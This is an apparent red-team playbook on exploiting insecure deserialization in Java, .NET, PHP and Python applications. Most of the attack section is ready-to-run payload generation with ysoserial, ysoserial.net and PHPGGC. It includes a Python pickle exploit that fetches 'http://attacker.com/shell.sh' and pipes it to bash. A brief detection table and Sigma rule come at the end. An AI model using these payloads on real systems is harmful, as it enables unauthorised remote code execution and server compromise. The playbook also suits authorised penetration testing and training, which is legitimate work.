<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-deserialization-vulnerabilities
description: >-
  Exploit insecure deserialization in Java, .NET, PHP, and Python applications.
  Covers gadget chain construction, ysoserial payloads, and framework-specific
  exploitation techniques.
domain: cybersecurity
subdomain: red-team
tags:
  - deserialization
  - java
  - dotnet
  - rce
  - web-application
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1059"]
  tools: ["ysoserial", "ysoserial.net", "phpggc", "burp-suite"]
---

# Exploiting Deserialization Vulnerabilities

## Overview

Insecure deserialization (CWE-502) occurs when untrusted data is used to
reconstruct objects. In Java, .NET, PHP, and Python, this leads to RCE via
gadget chains — sequences of existing class methods that chain together to
execute arbitrary commands.

## Prerequisites

- Target application accepting serialized objects
- Language-specific payload generator
- Burp Suite or proxy for request manipulation

```bash
# Java
git clone https://github.com/frohoff/ysoserial.git

# PHP
git clone https://github.com/ambionics/phpggc.git

# .NET
git clone https://github.com/pwntester/ysoserial.net.git
```

## Key Concepts

### Serialization Formats

| Language | Format | Signature |
|----------|--------|-----------|
| Java | ObjectInputStream | `AC ED 00 05` / `rO0AB` (base64) |
| .NET | BinaryFormatter | `AAEAAAD` (base64) |
| PHP | serialize() | `O:4:"User":2:{...}` |
| Python | pickle | `\x80\x05\x95` |

### Common Vulnerable Libraries

| Library | Language | Gadget Chain |
|---------|----------|-------------|
| Commons Collections | Java | InvokerTransformer |
| Commons Beanutils | Java | BeanComparator |
| Fastjson | Java | TemplatesImpl |
| Json.NET | .NET | ObjectDataProvider |
| Monolog | PHP | RCE via handlers |

## Workflow

### Step 1: Identify Serialized Data

```
# Look for these in requests/cookies/parameters:
# Java: rO0AB... (base64) or AC ED 00 05 (hex)
# .NET: AAEAAAD... (base64)
# PHP: O:N:"ClassName":... or a:N:{...}
# ViewState: __VIEWSTATE parameter in ASP.NET

# Burp Extension: Java Deserialization Scanner
```

### Step 2: Java — ysoserial

```bash
# Generate payload
java -jar ysoserial.jar CommonsCollections1 'ping attacker.com' > payload.bin

# Base64 encode for HTTP
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/rce' | base64 -w0

# Common gadget chains
java -jar ysoserial.jar CommonsCollections1 'CMD'   # Apache Commons Collections 3.1
java -jar ysoserial.jar CommonsCollections6 'CMD'   # Apache Commons Collections 4.0
java -jar ysoserial.jar CommonsBeanutils1 'CMD'     # Apache Commons Beanutils
java -jar ysoserial.jar Spring1 'CMD'               # Spring Framework
java -jar ysoserial.jar Jdk7u21 'CMD'               # JDK 7u21 and below
```

### Step 3: .NET — ysoserial.net

```bash
# Generate payload
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c 'cmd /c whoami' -o base64

# TypeConfuseDelegate
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c 'calc.exe' -o base64

# ViewState exploitation (requires machine key)
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
  --validationalg="SHA1" --validationkey="KEY" \
  --generator="GENERATOR" --path="/target.aspx" \
  -c "cmd /c whoami"
```

### Step 4: PHP — PHPGGC

```bash
# List available gadget chains
phpggc -l

# Generate payload
phpggc Laravel/RCE1 system 'id' -b        # Base64
phpggc Monolog/RCE1 system 'whoami' -s     # Serialized
phpggc Symfony/RCE4 system 'id' -u         # URL encoded

# With PHAR wrapper
phpggc Monolog/RCE1 system 'id' -p phar -o exploit.phar
```

### Step 5: Python — Pickle RCE

```python
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Java magic bytes | WAF/Proxy | AC ED 00 05 in HTTP body |
| Class loading | JVM logs | Unexpected class instantiation |
| Process spawn | EDR/Sysmon | Child process from Java/w3wp |
| Error traces | App logs | ClassNotFoundException on gadget classes |

```yaml
title: Java Deserialization Attack — Suspicious Class Loading
id: f6071829-0314-2345-f012-345678901234
status: experimental
logsource:
  category: application
  product: java
detection:
  selection:
    message|contains:
      - "InvokerTransformer"
      - "CommonsCollections"
      - "TemplatesImpl"
      - "ChainedTransformer"
  condition: selection
falsepositives:
  - Debug logging in development
level: critical
tags:
  - attack.t1190
  - attack.initial_access
```

## Verification

- [ ] Serialized data identified in application
- [ ] Gadget chain matched to target libraries
- [ ] Payload generated and delivered
- [ ] Remote code execution confirmed
- [ ] Detection artifacts documented

## References

- [ysoserial](https://github.com/frohoff/ysoserial)
- [PHPGGC](https://github.com/ambionics/phpggc)
- [OWASP Deserialization](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/16-Testing_for_HTTP_Incoming_Requests)
- [MITRE T1190](https://attack.mitre.org/techniques/T1190/)
